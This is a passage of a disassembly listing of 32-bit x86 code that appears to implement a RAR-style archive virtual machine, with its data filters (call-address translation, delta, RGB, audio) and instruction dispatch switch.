var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 54h
		push	edi
		push	[ebp+arg_0]
		mov	[ebp+var_54], 35h
		push	0FFFFFFFFh
		mov	[ebp+var_50], 0AD576887h
		mov	[ebp+var_4C], 1
		mov	[ebp+var_48], 39h
		mov	[ebp+var_44], 3CD7E57Eh
		mov	[ebp+var_40], 2
		mov	[ebp+var_3C], 78h
		mov	[ebp+var_38], 3769893Fh
		mov	[ebp+var_34], 3
		mov	[ebp+var_30], 1Dh
		mov	[ebp+var_2C], 0E06077Dh
		mov	[ebp+var_28], 6
		mov	[ebp+var_24], 95h
		mov	[ebp+var_20], 1C2C5DC8h
		mov	[ebp+var_1C], 4
		mov	[ebp+var_18], 0D8h
		mov	[ebp+var_14], 0BC85E701h
		mov	[ebp+var_10], 5
		mov	[ebp+var_C], 28h
		mov	[ebp+var_8], 46B9C560h
		mov	[ebp+var_4], 7
		call	sub_9B39E0
		add	esp, 0Ch
		not	eax
		xor	edx, edx
		lea	ecx, [ebp+var_54]


loc_9B3C4F:				; CODE XREF: sub_9B3BA1+BEj
		cmp	[ecx+4], eax
		jnz	short loc_9B3C58
		cmp	[ecx], edi
		jz	short loc_9B3C65


loc_9B3C58:				; CODE XREF: sub_9B3BA1+B1j
		inc	edx
		add	ecx, 0Ch
		cmp	edx, 7
		jb	short loc_9B3C4F
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_9B3C65:				; CODE XREF: sub_9B3BA1+B5j
		lea	eax, [edx+edx*2]
		mov	eax, [ebp+eax*4+var_4C]
		leave
		retn
sub_9B3BA1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9B3C6E(int,int,void *Src,int)

sub_9B3C6E	proc near		; CODE XREF: sub_9B06DE+CEp
					; sub_9B06DE+E7p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
Src		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		mov	eax, 40000h
		cmp	ecx, eax
		jnb	short loc_9B3CA1
		mov	edx, [ebp+arg_0]
		mov	edx, [edx]
		add	edx, ecx
		cmp	[ebp+Src], edx
		jz	short loc_9B3CA1
		sub	eax, ecx
		cmp	[ebp+arg_C], eax
		jnb	short loc_9B3C93
		mov	eax, [ebp+arg_C]


loc_9B3C93:				; CODE XREF: sub_9B3C6E+20j
		push	eax		; Size
		push	[ebp+Src]	; Src
		push	edx		; Dst
		call	memmove
		add	esp, 0Ch


loc_9B3CA1:				; CODE XREF: sub_9B3C6E+Dj
					; sub_9B3C6E+19j
		pop	ebp
		retn
sub_9B3C6E	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B3CA3	proc near		; CODE XREF: sub_9B4244+38p
					; sub_9B4244+43p

arg_0		= dword	ptr  4

		cmp	dword ptr [eax+4], 2
		jnz	short loc_9B3CBC
		mov	ecx, [eax]
		mov	eax, [eax+0Ch]
		add	eax, [ecx]
		mov	ecx, [esp+arg_0]
		and	eax, 3FFFFh
		add	eax, [ecx]
		retn
; ---------------------------------------------------------------------------


loc_9B3CBC:				; CODE XREF: sub_9B3CA3+4j
		mov	eax, [eax]
		retn
sub_9B3CA3	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B3CBF	proc near		; CODE XREF: sub_9B3D50+441p
					; sub_9B3D50+455p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cdq
		push	8
		pop	esi
		idiv	esi
		xor	edx, edx
		push	20h
		movzx	esi, byte ptr [eax+ecx]
		inc	eax
		mov	dh, [eax+ecx]
		lea	eax, [eax+ecx+1]
		mov	ecx, [esp+8+arg_0]
		and	ecx, 7
		or	esi, edx
		xor	edx, edx
		mov	dh, [eax+1]
		mov	dl, [eax]
		or	eax, 0FFFFFFFFh
		shl	edx, 10h
		or	edx, esi
		shr	edx, cl
		pop	ecx
		sub	ecx, [esp+4+arg_4]
		pop	esi
		shr	eax, cl
		and	eax, edx
		retn
sub_9B3CBF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B3CFF	proc near		; CODE XREF: sub_9B3D50+469p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	eax, ecx
		push	8
		cdq
		pop	esi
		idiv	esi
		and	ecx, 7
		push	20h
		or	edx, 0FFFFFFFFh
		xor	edi, edi
		mov	esi, eax
		mov	eax, ecx
		pop	ecx
		sub	ecx, [ebp+arg_8]
		shr	edx, cl
		mov	ecx, eax
		mov	eax, [ebp+arg_0]
		shl	[ebp+arg_4], cl
		shl	edx, cl
		add	esi, eax
		not	edx


loc_9B3D2E:				; CODE XREF: sub_9B3CFF+4Bj
		mov	al, [esi+edi]
		and	al, dl
		or	al, byte ptr [ebp+arg_4]
		shr	[ebp+arg_4], 8
		shr	edx, 8
		or	edx, 0FF000000h
		mov	[esi+edi], al
		inc	edi
		cmp	edi, 4
		jl	short loc_9B3D2E
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_9B3CFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B3D50	proc near		; CODE XREF: sub_9B4244+607p

Dst		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		sub	esp, 54h
		push	esi
		push	edi
		mov	esi, ecx
		xor	edi, edi
		cmp	esi, edi
		jle	loc_9B4240
		cmp	esi, 2
		push	ebx
		jle	loc_9B41D8
		cmp	esi, 3
		jz	loc_9B4124
		cmp	esi, 4
		jz	loc_9B4004
		cmp	esi, 5
		jz	loc_9B3E3D
		cmp	esi, 6
		jz	short loc_9B3DE4
		cmp	esi, 7
		jnz	loc_9B423F
		mov	edi, [eax+14h]
		xor	esi, esi
		cmp	edi, 1E000h
		mov	ebx, edi
		jge	loc_9B423F
		test	edi, edi
		jle	short loc_9B3DCD


loc_9B3DAE:				; CODE XREF: sub_9B3D50+7Bj
		mov	ecx, [eax]
		mov	dl, [ecx+esi]
		inc	esi
		cmp	dl, 2
		jnz	short loc_9B3DC5
		mov	dl, [ecx+esi]
		inc	esi
		cmp	dl, 2
		jz	short loc_9B3DC5
		add	dl, 0E0h


loc_9B3DC5:				; CODE XREF: sub_9B3D50+67j
					; sub_9B3D50+70j
		mov	[ecx+ebx], dl
		inc	ebx
		cmp	esi, edi
		jl	short loc_9B3DAE


loc_9B3DCD:				; CODE XREF: sub_9B3D50+5Cj
		mov	ecx, [eax]
		sub	ebx, edi
		mov	[ecx+3C01Ch], ebx
		mov	eax, [eax]
		mov	[eax+3C020h], edi
		jmp	loc_9B423F
; ---------------------------------------------------------------------------


loc_9B3DE4:				; CODE XREF: sub_9B3D50+3Cj
		mov	edx, [eax+14h]
		mov	ecx, [eax+4]
		mov	edi, [eax]
		xor	ebx, ebx
		cmp	edx, 1E000h
		mov	[ebp+var_2C], ecx
		lea	esi, [edx+edx]
		mov	[edi+3C020h], edx
		jge	loc_9B423F
		and	[ebp+var_8], ebx
		test	ecx, ecx
		jle	loc_9B423F


loc_9B3E11:				; CODE XREF: sub_9B3D50+E6j
		mov	edi, [ebp+var_8]
		xor	cl, cl
		add	edi, edx
		jmp	short loc_9B3E29
; ---------------------------------------------------------------------------


loc_9B3E1A:				; CODE XREF: sub_9B3D50+DBj
		mov	esi, [eax]
		sub	cl, [esi+ebx]
		inc	ebx
		mov	[esi+edi], cl
		add	edi, [ebp+var_2C]
		lea	esi, [edx+edx]


loc_9B3E29:				; CODE XREF: sub_9B3D50+C8j
		cmp	edi, esi
		jl	short loc_9B3E1A
		inc	[ebp+var_8]
		mov	ecx, [ebp+var_8]
		cmp	ecx, [ebp+var_2C]
		jl	short loc_9B3E11
		jmp	loc_9B423F
; ---------------------------------------------------------------------------


loc_9B3E3D:				; CODE XREF: sub_9B3D50+33j
		mov	esi, [eax+14h]
		cmp	esi, 1E000h
		mov	ecx, [eax+4]
		mov	eax, [eax]
		lea	edx, [eax+esi]
		mov	[ebp+var_38], ecx
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_28], edx
		mov	[eax+3C020h], esi
		jge	loc_9B423F
		cmp	ecx, edi
		mov	[ebp+var_8], edi
		jle	loc_9B423F
		jmp	short loc_9B3E76
; ---------------------------------------------------------------------------


loc_9B3E73:				; CODE XREF: sub_9B3D50+2A9j
		mov	esi, [ebp+var_20]


loc_9B3E76:				; CODE XREF: sub_9B3D50+121j
		xor	ebx, ebx
		push	1Ch		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], ebx
		mov	[ebp+var_24], ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx
		call	memset
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_2C], ebx
		cmp	eax, esi
		jmp	loc_9B3FE7
; ---------------------------------------------------------------------------


loc_9B3EA6:				; CODE XREF: sub_9B3D50+29Aj
		mov	eax, [ebp+var_30]
		mov	esi, [ebp+var_C]
		mov	edx, [ebp+var_10]
		mov	ecx, eax
		sub	ecx, [ebp+var_24]
		mov	edi, ebx
		mov	ebx, ecx
		imul	esi, edi
		mov	ecx, [ebp+var_18]
		imul	edx, ebx
		mov	cl, [ecx]
		add	esi, edx
		mov	edx, [ebp+var_14]
		imul	edx, eax
		inc	[ebp+var_18]
		add	esi, edx
		mov	edx, [ebp+var_34]
		mov	[ebp+var_24], eax
		mov	[ebp+var_1], cl
		lea	eax, [esi+edx*8]
		mov	esi, [ebp+var_1C]
		movzx	ecx, cl
		shr	eax, 3
		and	eax, 0FFh
		sub	eax, ecx
		mov	ecx, [ebp+var_28]
		mov	[ecx+esi], al
		movsx	esi, [ebp+var_1]
		mov	cl, al
		sub	cl, dl
		movsx	ecx, cl
		shl	esi, 3
		push	esi		; X
		mov	[ebp+var_30], ecx
		mov	[ebp+var_34], eax
		call	labs
		add	[ebp+Dst], eax
		mov	eax, esi
		sub	eax, [ebp+var_24]
		push	eax		; X
		call	labs
		add	[ebp+var_50], eax
		mov	eax, [ebp+var_24]
		add	eax, esi
		push	eax		; X
		call	labs
		add	[ebp+var_4C], eax
		mov	eax, esi
		sub	eax, ebx
		push	eax		; X
		call	labs
		add	[ebp+var_48], eax
		lea	eax, [esi+ebx]
		push	eax		; X
		call	labs
		add	[ebp+var_44], eax
		mov	eax, esi
		sub	eax, edi
		push	eax		; X
		call	labs
		add	[ebp+var_40], eax
		add	esi, edi
		push	esi		; X
		call	labs
		add	[ebp+var_3C], eax
		add	esp, 1Ch
		test	byte ptr [ebp+var_2C], 1Fh
		jnz	short loc_9B3FDB
		mov	esi, [ebp+Dst]
		xor	edi, edi
		xor	ecx, ecx
		mov	[ebp+Dst], edi
		inc	ecx


loc_9B3F70:				; CODE XREF: sub_9B3D50+235j
		lea	eax, [ebp+ecx*4+Dst]
		mov	edx, [eax]
		cmp	edx, esi
		jnb	short loc_9B3F7E
		mov	esi, edx
		mov	edi, ecx


loc_9B3F7E:				; CODE XREF: sub_9B3D50+228j
		and	dword ptr [eax], 0
		inc	ecx
		cmp	ecx, 7
		jb	short loc_9B3F70
		mov	eax, edi
		dec	eax
		jz	short loc_9B3FD2
		dec	eax
		jz	short loc_9B3FC7
		dec	eax
		jz	short loc_9B3FBC
		dec	eax
		jz	short loc_9B3FB1
		dec	eax
		jz	short loc_9B3FA6
		dec	eax
		jnz	short loc_9B3FDB
		cmp	[ebp+var_C], 10h
		jge	short loc_9B3FDB
		inc	[ebp+var_C]
		jmp	short loc_9B3FDB
; ---------------------------------------------------------------------------


loc_9B3FA6:				; CODE XREF: sub_9B3D50+246j
		cmp	[ebp+var_C], 0FFFFFFF0h
		jl	short loc_9B3FDB
		dec	[ebp+var_C]
		jmp	short loc_9B3FDB
; ---------------------------------------------------------------------------


loc_9B3FB1:				; CODE XREF: sub_9B3D50+243j
		cmp	[ebp+var_10], 10h
		jge	short loc_9B3FDB
		inc	[ebp+var_10]
		jmp	short loc_9B3FDB
; ---------------------------------------------------------------------------


loc_9B3FBC:				; CODE XREF: sub_9B3D50+240j
		cmp	[ebp+var_10], 0FFFFFFF0h
		jl	short loc_9B3FDB
		dec	[ebp+var_10]
		jmp	short loc_9B3FDB
; ---------------------------------------------------------------------------


loc_9B3FC7:				; CODE XREF: sub_9B3D50+23Dj
		cmp	[ebp+var_14], 10h
		jge	short loc_9B3FDB
		inc	[ebp+var_14]
		jmp	short loc_9B3FDB
; ---------------------------------------------------------------------------


loc_9B3FD2:				; CODE XREF: sub_9B3D50+23Aj
		cmp	[ebp+var_14], 0FFFFFFF0h
		jl	short loc_9B3FDB
		dec	[ebp+var_14]


loc_9B3FDB:				; CODE XREF: sub_9B3D50+213j
					; sub_9B3D50+249j ...
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_38]
		inc	[ebp+var_2C]
		cmp	eax, [ebp+var_20]


loc_9B3FE7:				; CODE XREF: sub_9B3D50+151j
		mov	[ebp+var_1C], eax
		jl	loc_9B3EA6
		inc	[ebp+var_8]
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_38]
		jl	loc_9B3E73
		jmp	loc_9B423F
; ---------------------------------------------------------------------------


loc_9B4004:				; CODE XREF: sub_9B3D50+2Aj
		mov	ecx, [eax+14h]
		mov	edx, [eax+8]
		mov	ebx, [eax+4]
		mov	eax, [eax]
		mov	[ebp+var_C], edx
		sub	ebx, 3
		cmp	ecx, 1E000h
		lea	edx, [eax+ecx]
		mov	[ebp+var_20], ecx
		mov	[ebp+var_18], eax
		mov	[ebp+var_28], edx
		mov	[eax+3C020h], ecx
		jge	loc_9B423F
		mov	eax, ebx
		neg	eax
		mov	[ebp+var_8], edi
		mov	[ebp+var_24], eax


loc_9B403D:				; CODE XREF: sub_9B3D50+3A3j
		mov	eax, [ebp+var_20]
		and	[ebp+var_1C], 0
		cmp	[ebp+var_8], eax
		jge	loc_9B40E9
		mov	eax, [ebp+var_24]
		mov	esi, [ebp+var_28]
		mov	[ebp+var_2C], eax
		mov	eax, [ebp+var_20]
		sub	eax, [ebp+var_8]
		sub	esi, ebx
		add	esi, [ebp+var_8]
		push	3
		dec	eax
		xor	edx, edx
		pop	ecx
		div	ecx
		inc	eax
		mov	[ebp+var_10], eax


loc_9B406D:				; CODE XREF: sub_9B3D50+397j
		cmp	[ebp+var_2C], 3
		jl	short loc_9B40C9
		movzx	edi, byte ptr [esi]
		movzx	eax, byte ptr [esi-3]
		mov	[ebp+var_30], edi
		sub	edi, eax
		add	edi, [ebp+var_1C]
		mov	[ebp+var_14], eax
		mov	eax, edi
		sub	eax, [ebp+var_1C]
		push	eax		; X
		call	labs
		mov	[ebp+var_38], eax
		mov	eax, edi
		sub	eax, [ebp+var_30]
		push	eax		; X
		call	labs
		sub	edi, [ebp+var_14]
		mov	[ebp+var_34], eax
		push	edi		; X
		call	labs
		mov	ecx, [ebp+var_34]
		add	esp, 0Ch
		cmp	[ebp+var_38], ecx
		jg	short loc_9B40BA
		cmp	[ebp+var_38], eax
		jle	short loc_9B40C9


loc_9B40BA:				; CODE XREF: sub_9B3D50+363j
		cmp	[ebp+var_34], eax
		jg	short loc_9B40C4
		mov	eax, [ebp+var_30]
		jmp	short loc_9B40CC
; ---------------------------------------------------------------------------


loc_9B40C4:				; CODE XREF: sub_9B3D50+36Dj
		mov	eax, [ebp+var_14]
		jmp	short loc_9B40CC
; ---------------------------------------------------------------------------


loc_9B40C9:				; CODE XREF: sub_9B3D50+321j
					; sub_9B3D50+368j
		mov	eax, [ebp+var_1C]


loc_9B40CC:				; CODE XREF: sub_9B3D50+372j
					; sub_9B3D50+377j
		mov	ecx, [ebp+var_18]
		sub	al, [ecx]
		inc	[ebp+var_18]
		add	[ebp+var_2C], 3
		movzx	eax, al
		mov	[ebx+esi], al
		add	esi, 3
		dec	[ebp+var_10]
		mov	[ebp+var_1C], eax
		jnz	short loc_9B406D


loc_9B40E9:				; CODE XREF: sub_9B3D50+2F7j
		inc	[ebp+var_8]
		inc	[ebp+var_24]
		cmp	[ebp+var_8], 3
		jl	loc_9B403D
		mov	esi, [ebp+var_20]
		mov	eax, [ebp+var_C]
		add	esi, 0FFFFFFFEh
		cmp	eax, esi
		jge	loc_9B423F
		mov	edx, [ebp+var_28]


loc_9B410D:				; CODE XREF: sub_9B3D50+3CDj
		mov	cl, [edx+eax+1]
		add	[edx+eax], cl
		add	[edx+eax+2], cl
		add	eax, 3
		cmp	eax, esi
		jl	short loc_9B410D
		jmp	loc_9B423F
; ---------------------------------------------------------------------------


loc_9B4124:				; CODE XREF: sub_9B3D50+21j
		mov	ecx, [eax]
		mov	[ebp+var_20], ecx
		mov	ecx, [eax+14h]
		cmp	ecx, 3C000h
		jge	loc_9B423F
		cmp	ecx, 15h
		jl	loc_9B423F
		mov	ebx, [eax+1Ch]
		lea	eax, [ecx-15h]
		shr	ebx, 4
		cmp	eax, edi
		jbe	loc_9B423F
		dec	eax
		shr	eax, 4
		inc	eax
		mov	[ebp+var_38], eax


loc_9B415A:				; CODE XREF: sub_9B3D50+484j
		mov	eax, [ebp+var_20]
		movzx	eax, byte ptr [eax]
		and	eax, 1Fh
		sub	eax, 10h
		js	short loc_9B41CC
		mov	al, byte_9BADE8[eax]
		test	al, al
		jz	short loc_9B41CC
		and	[ebp+var_1C], 0
		push	12h
		movzx	edi, al
		pop	esi


loc_9B417C:				; CODE XREF: sub_9B3D50+47Aj
		mov	ecx, [ebp+var_1C]
		xor	eax, eax
		inc	eax
		shl	eax, cl
		test	eax, edi
		jz	short loc_9B41C1
		mov	ecx, [ebp+var_20]
		lea	eax, [esi+18h]
		push	4
		push	eax
		call	sub_9B3CBF
		cmp	eax, 5
		pop	ecx
		pop	ecx
		jnz	short loc_9B41C1
		mov	ecx, [ebp+var_20]
		push	14h
		push	14h
		push	esi
		call	sub_9B3CBF
		pop	ecx
		sub	eax, ebx
		pop	ecx
		and	eax, 0FFFFFh
		push	eax
		push	[ebp+var_20]
		mov	ecx, esi
		call	sub_9B3CFF
		add	esp, 0Ch


loc_9B41C1:				; CODE XREF: sub_9B3D50+436j
					; sub_9B3D50+44Bj
		inc	[ebp+var_1C]
		add	esi, 29h
		cmp	esi, 64h
		jle	short loc_9B417C


loc_9B41CC:				; CODE XREF: sub_9B3D50+416j
					; sub_9B3D50+420j
		add	[ebp+var_20], 10h
		inc	ebx
		dec	[ebp+var_38]
		jnz	short loc_9B415A
		jmp	short loc_9B423F
; ---------------------------------------------------------------------------


loc_9B41D8:				; CODE XREF: sub_9B3D50+18j
		mov	ecx, [eax+14h]
		cmp	ecx, 3C000h
		mov	edx, [eax]
		mov	eax, [eax+1Ch]
		jge	short loc_9B423F
		cmp	ecx, 4
		jl	short loc_9B423F
		cmp	esi, 2
		setz	bl
		add	ecx, 0FFFFFFFCh
		add	bl, 0E8h
		cmp	ecx, edi
		mov	[ebp+var_20], edi
		jbe	short loc_9B423F
		mov	esi, eax


loc_9B4202:				; CODE XREF: sub_9B3D50+4EDj
		mov	al, [edx]
		inc	edx
		inc	[ebp+var_20]
		inc	esi
		cmp	al, 0E8h
		jz	short loc_9B4211
		cmp	al, bl
		jnz	short loc_9B423A


loc_9B4211:				; CODE XREF: sub_9B3D50+4BBj
		mov	eax, [edx]
		test	eax, eax
		jge	short loc_9B4225
		lea	edi, [esi+eax]
		test	edi, edi
		jl	short loc_9B4230
		add	eax, 1000000h
		jmp	short loc_9B422E
; ---------------------------------------------------------------------------


loc_9B4225:				; CODE XREF: sub_9B3D50+4C5j
		cmp	eax, 1000000h
		jge	short loc_9B4230
		sub	eax, esi


loc_9B422E:				; CODE XREF: sub_9B3D50+4D3j
		mov	[edx], eax


loc_9B4230:				; CODE XREF: sub_9B3D50+4CCj
					; sub_9B3D50+4DAj
		add	[ebp+var_20], 4
		add	edx, 4
		add	esi, 4


loc_9B423A:				; CODE XREF: sub_9B3D50+4BFj
		cmp	[ebp+var_20], ecx
		jb	short loc_9B4202


loc_9B423F:				; CODE XREF: sub_9B3D50+41j
					; sub_9B3D50+54j ...
		pop	ebx


loc_9B4240:				; CODE XREF: sub_9B3D50+Ej
		pop	edi
		pop	esi
		leave
		retn
sub_9B3D50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B4244	proc near		; CODE XREF: sub_9B494C+96p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		lea	eax, [eax+eax*4]
		push	ebx
		lea	eax, [edx+eax*8]
		cmp	edx, eax
		mov	ebx, edx
		push	esi
		mov	[ebp+var_4], 17D7840h
		mov	[ebp+var_8], ebx
		mov	[ebp+var_10], eax
		jbe	short loc_9B4274


loc_9B426B:				; CODE XREF: sub_9B4244+32j
					; sub_9B4244+2A0j ...
		xor	eax, eax


loc_9B426D:				; CODE XREF: sub_9B4244+626j
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_9B4271:				; CODE XREF: sub_9B4244+618j
		mov	edx, [ebp+arg_0]


loc_9B4274:				; CODE XREF: sub_9B4244+25j
		cmp	ebx, edx
		jb	short loc_9B426B
		lea	eax, [ebx+8]
		push	edi
		call	sub_9B3CA3
		mov	esi, eax
		lea	eax, [ebx+18h]
		push	edi
		call	sub_9B3CA3
		pop	ecx
		pop	ecx
		mov	ecx, [ebx]
		cmp	ecx, 36h	; switch 55 cases
		ja	loc_9B4850	; default
					; jumptable 009B4299 case 39
		jmp	off_9B4870[ecx*4] ; switch jump


loc_9B42A0:				; DATA XREF: .text:off_9B4870o
		cmp	dword ptr [ebx+4], 0 ; jumptable 009B4299 case 0
		jz	short loc_9B42AE ; jumptable 009B4299 case 41
		movzx	eax, byte ptr [eax]
		jmp	loc_9B477D
; ---------------------------------------------------------------------------


loc_9B42AE:				; CODE XREF: sub_9B4244+55j
					; sub_9B4244+60j
					; DATA XREF: ...
		mov	eax, [eax]	; jumptable 009B4299 case 41


loc_9B42B0:				; CODE XREF: sub_9B4244+32Cj
					; sub_9B4244+4ACj ...
		mov	[esi], eax
		jmp	loc_9B4850	; default
					; jumptable 009B4299 case 39
; ---------------------------------------------------------------------------


loc_9B42B7:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		mov	al, [eax]	; jumptable 009B4299 case 40
		jmp	loc_9B477D
; ---------------------------------------------------------------------------


loc_9B42BE:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		mov	ecx, [ebx+4]	; jumptable 009B4299 case 1
		test	ecx, ecx
		jz	short loc_9B42CA
		movzx	esi, byte ptr [esi]
		jmp	short loc_9B42CC
; ---------------------------------------------------------------------------


loc_9B42CA:				; CODE XREF: sub_9B4244+7Fj
		mov	esi, [esi]


loc_9B42CC:				; CODE XREF: sub_9B4244+84j
		test	ecx, ecx
		jz	short loc_9B42D5
		movzx	eax, byte ptr [eax]
		jmp	short loc_9B42D7
; ---------------------------------------------------------------------------


loc_9B42D5:				; CODE XREF: sub_9B4244+8Aj
		mov	eax, [eax]


loc_9B42D7:				; CODE XREF: sub_9B4244+8Fj
		mov	ecx, esi
		sub	ecx, eax


loc_9B42DB:				; CODE XREF: sub_9B4244+E0j
		jnz	short loc_9B42E5


loc_9B42DD:				; CODE XREF: sub_9B4244:loc_9B4491j
		push	2
		pop	eax
		jmp	loc_9B449C
; ---------------------------------------------------------------------------


loc_9B42E5:				; CODE XREF: sub_9B4244:loc_9B42DBj
		cmp	esi, ecx
		sbb	eax, eax
		neg	eax
		and	ecx, 80000000h
		or	eax, ecx
		jmp	loc_9B449C
; ---------------------------------------------------------------------------


loc_9B42F8:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		movzx	ecx, byte ptr [esi] ; jumptable	009B4299 case 42
		movzx	edx, byte ptr [eax]
		mov	eax, ecx
		sub	eax, edx
		jnz	short loc_9B4309
		push	2
		pop	ecx
		jmp	short loc_9B4316
; ---------------------------------------------------------------------------


loc_9B4309:				; CODE XREF: sub_9B4244+BEj
		cmp	ecx, eax
		sbb	ecx, ecx
		neg	ecx
		and	eax, 80000000h
		or	ecx, eax


loc_9B4316:				; CODE XREF: sub_9B4244+C3j
		mov	[edi+24h], ecx
		jmp	loc_9B4850	; default
					; jumptable 009B4299 case 39
; ---------------------------------------------------------------------------


loc_9B431E:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		mov	esi, [esi]	; jumptable 009B4299 case 43
		mov	ecx, esi
		sub	ecx, [eax]
		jmp	short loc_9B42DB
; ---------------------------------------------------------------------------


loc_9B4326:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		mov	ecx, [ebx+4]	; jumptable 009B4299 case 2
		test	ecx, ecx
		jz	short loc_9B4332
		movzx	edx, byte ptr [esi]
		jmp	short loc_9B4334
; ---------------------------------------------------------------------------


loc_9B4332:				; CODE XREF: sub_9B4244+E7j
		mov	edx, [esi]


loc_9B4334:				; CODE XREF: sub_9B4244+ECj
		test	ecx, ecx
		jz	short loc_9B433D
		movzx	eax, byte ptr [eax]
		jmp	short loc_9B433F
; ---------------------------------------------------------------------------


loc_9B433D:				; CODE XREF: sub_9B4244+F2j
		mov	eax, [eax]


loc_9B433F:				; CODE XREF: sub_9B4244+F7j
		lea	ecx, [eax+edx]
		test	ecx, ecx
		jz	loc_9B4462
		cmp	ecx, edx
		jmp	short loc_9B4385
; ---------------------------------------------------------------------------


loc_9B434E:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		mov	al, [eax]	; jumptable 009B4299 case 44
		add	[esi], al
		jmp	loc_9B4850	; default
					; jumptable 009B4299 case 39
; ---------------------------------------------------------------------------


loc_9B4357:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		mov	eax, [eax]	; jumptable 009B4299 case 45
		add	[esi], eax
		jmp	loc_9B4850	; default
					; jumptable 009B4299 case 39
; ---------------------------------------------------------------------------


loc_9B4360:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		mov	ecx, [ebx+4]	; jumptable 009B4299 case 3
		test	ecx, ecx
		jz	short loc_9B436C
		movzx	edx, byte ptr [esi]
		jmp	short loc_9B436E
; ---------------------------------------------------------------------------


loc_9B436C:				; CODE XREF: sub_9B4244+121j
		mov	edx, [esi]


loc_9B436E:				; CODE XREF: sub_9B4244+126j
		test	ecx, ecx
		jz	short loc_9B4377
		movzx	eax, byte ptr [eax]
		jmp	short loc_9B4379
; ---------------------------------------------------------------------------


loc_9B4377:				; CODE XREF: sub_9B4244+12Cj
		mov	eax, [eax]


loc_9B4379:				; CODE XREF: sub_9B4244+131j
		mov	ecx, edx
		sub	ecx, eax
		jz	loc_9B4462
		cmp	edx, ecx


loc_9B4385:				; CODE XREF: sub_9B4244+108j
		sbb	eax, eax
		mov	edx, ecx
		neg	eax
		and	edx, 80000000h
		or	eax, edx
		jmp	loc_9B4630
; ---------------------------------------------------------------------------


loc_9B4398:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		mov	al, [eax]	; jumptable 009B4299 case 46
		sub	[esi], al
		jmp	loc_9B4850	; default
					; jumptable 009B4299 case 39
; ---------------------------------------------------------------------------


loc_9B43A1:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		mov	eax, [eax]	; jumptable 009B4299 case 47
		sub	[esi], eax
		jmp	loc_9B4850	; default
					; jumptable 009B4299 case 39
; ---------------------------------------------------------------------------


loc_9B43AA:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		test	byte ptr [edi+24h], 2 ;	jumptable 009B4299 case	4
		jmp	loc_9B44BA
; ---------------------------------------------------------------------------


loc_9B43B3:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		test	byte ptr [edi+24h], 2 ;	jumptable 009B4299 case	5
		jmp	loc_9B44CC
; ---------------------------------------------------------------------------


loc_9B43BC:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		mov	ecx, [ebx+4]	; jumptable 009B4299 case 6
		test	ecx, ecx
		jz	short loc_9B43C8
		movzx	eax, byte ptr [esi]
		jmp	short loc_9B43CA
; ---------------------------------------------------------------------------


loc_9B43C8:				; CODE XREF: sub_9B4244+17Dj
		mov	eax, [esi]


loc_9B43CA:				; CODE XREF: sub_9B4244+182j
		inc	eax
		jmp	short loc_9B43F3
; ---------------------------------------------------------------------------


loc_9B43CD:				; CODE XREF: sub_9B4244+1B1j
		mov	[esi], eax


